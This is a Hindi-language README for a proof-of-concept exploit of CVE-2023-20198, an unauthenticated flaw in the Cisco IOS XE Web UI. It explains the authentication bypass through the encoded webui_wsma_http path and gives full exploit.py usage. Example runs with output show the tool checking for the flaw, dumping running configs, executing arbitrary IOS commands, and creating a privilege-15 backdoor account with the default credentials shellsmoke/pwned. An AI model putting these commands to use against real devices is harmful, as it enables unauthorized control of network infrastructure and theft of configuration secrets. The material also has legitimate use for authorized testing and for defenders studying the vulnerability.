
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2023-20198, Cisco IOS XE Web UI को लक्षित करता है। SOAP एंडपॉइंट्स के माध्यम से अप्रमाणित दूरस्थ कमांड निष्पादन, कॉन्फ़िगरेशन प्राप्ति और विशेषाधिकार वृद्धि सक्षम करता है।
CVE-2023-20198 के लिए शोषण PoC
CVE-2023-20198 को अनुचित पथ सत्यापन द्वारा चिह्नित किया गया है ताकि webui_wsma_http वेब एंडपॉइंट तक पहुँचने के लिए Nginx फ़िल्टरिंग को बायपास किया जा सके, बिना प्रमाणीकरण की आवश्यकता के।
एंडपॉइंट पर प्रमाणीकरण को बायपास करके, एक हमलावर मनमानी Cisco IOS कमांड निष्पादित कर सकता है या प्रिविलेज 15 विशेषाधिकारों के साथ कॉन्फ़िगरेशन परिवर्तन जारी कर सकता है।
पहले से अज्ञात कमजोरी के सक्रिय शोषण में सिस्को की जांच से पता चला कि खतरे के अभिनेताओं ने प्रिविलेज स्तर 15 के साथ एक नया उपयोगकर्ता जोड़ने के लिए पहले CVE-2023-20198 का शोषण किया था। आगे के हमलों में अंतर्निहित Linux OS root उपयोगकर्ता तक बढ़ाने के लिए CVE-2023-20273 का शोषण शामिल था, ताकि प्रत्यारोपण की सुविधा हो सके।
यह PoC दो अलग-अलग XML SOAP एंडपॉइंट का लाभ उठाने के लिए CVE-2023-20198 का शोषण करता है:
कमजोरी जांच, कॉन्फ़िग, और कमांड निष्पादन विकल्प सभी execCLI एलिमेंट टैग में कमांड डालने के लिए cisco:wsma-exec SOAP एंडपॉइंट को लक्षित करते हैं।
उपयोगकर्ता जोड़ने का विकल्प cisco:wsma-config SOAP एंडपॉइंट को लक्षित करता है ताकि कॉन्फ़िगरेशन परिवर्तन जारी किया जा सके और प्रिविलेज 15 खाता जोड़ा जा सके। इस एंडपॉइंट का [ab]used अन्य कॉन्फ़िगरेशन परिवर्तन करने के लिए किया जा सकता है, लेकिन यह इस PoC के दायरे से बाहर है।
cisco:wsma-exec SOAP एंडपॉइंट का दुरुपयोग nuclei टेम्पलेट से आया
cisco:wsma-config SOAP एंडपॉइंट का दुरुपयोग horizon3ai PoC से आया
नोट: मैंने इस CVE के लिए कोई मूल शोध या PoC विकास नहीं किया। क्रेडिट के लिए संदर्भ अनुभाग देखें।
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198 की जांच करने के लिए, -c uname -a निष्पादित करने के लिए कमजोरी का शोषण करने का प्रयास करेगा
उदाहरण:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g विकल्प चल रहे कॉन्फ़िग को खींचने के लिए sh run निष्पादित करता है
उदाहरण:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
-e विकल्प के साथ मनमानी Cisco IOS कमांड निष्पादित की जा सकती हैं।
कॉन्फ़िगरेशन परिवर्तन करने के लिए इसका उपयोग करते समय अत्यधिक सावधानी बरती जानी चाहिए। कोई इनपुट सत्यापन नहीं है और परिवर्तन तुरंत चल रहे कॉन्फ़िग पर लागू होते हैं।
उदाहरण:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a विकल्प का उपयोग एक नया प्रिविलेज 15 उपयोगकर्ता खाता बनाने के लिए किया जा सकता है, वैकल्पिक रूप से -u और -p के साथ खाता नाम और पासवर्ड निर्दिष्ट करना।
उदाहरण:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d विकल्प का उपयोग डिवाइस से उपयोगकर्ता खाता हटाने के लिए किया जा सकता है, और यह -u के साथ निर्दिष्ट उपयोगकर्ता नाम का सम्मान करता है।
सावधानी बरती जानी चाहिए ताकि आप एक वैध खाता न हटा रहे हों।
यह उन उदाहरणों के लिए जोड़ा गया था जहाँ शोषित Cisco तक शेल/वेबयूआई पहुँच प्राप्त नहीं की जा सकती। यह देखा गया कि प्रिविलेज 15 उपयोगकर्ता जोड़ने से वेबयूआई पहुँच नहीं मिलती है और होस्ट पर शोषण कलाकृतियों को छोड़ने का कारण बन सकता है।
सिस्को सलाह
होराइज़न3ai CVE-2023-20198 अनुसंधान
होराइज़न3ai CVE-2023-20198 PoC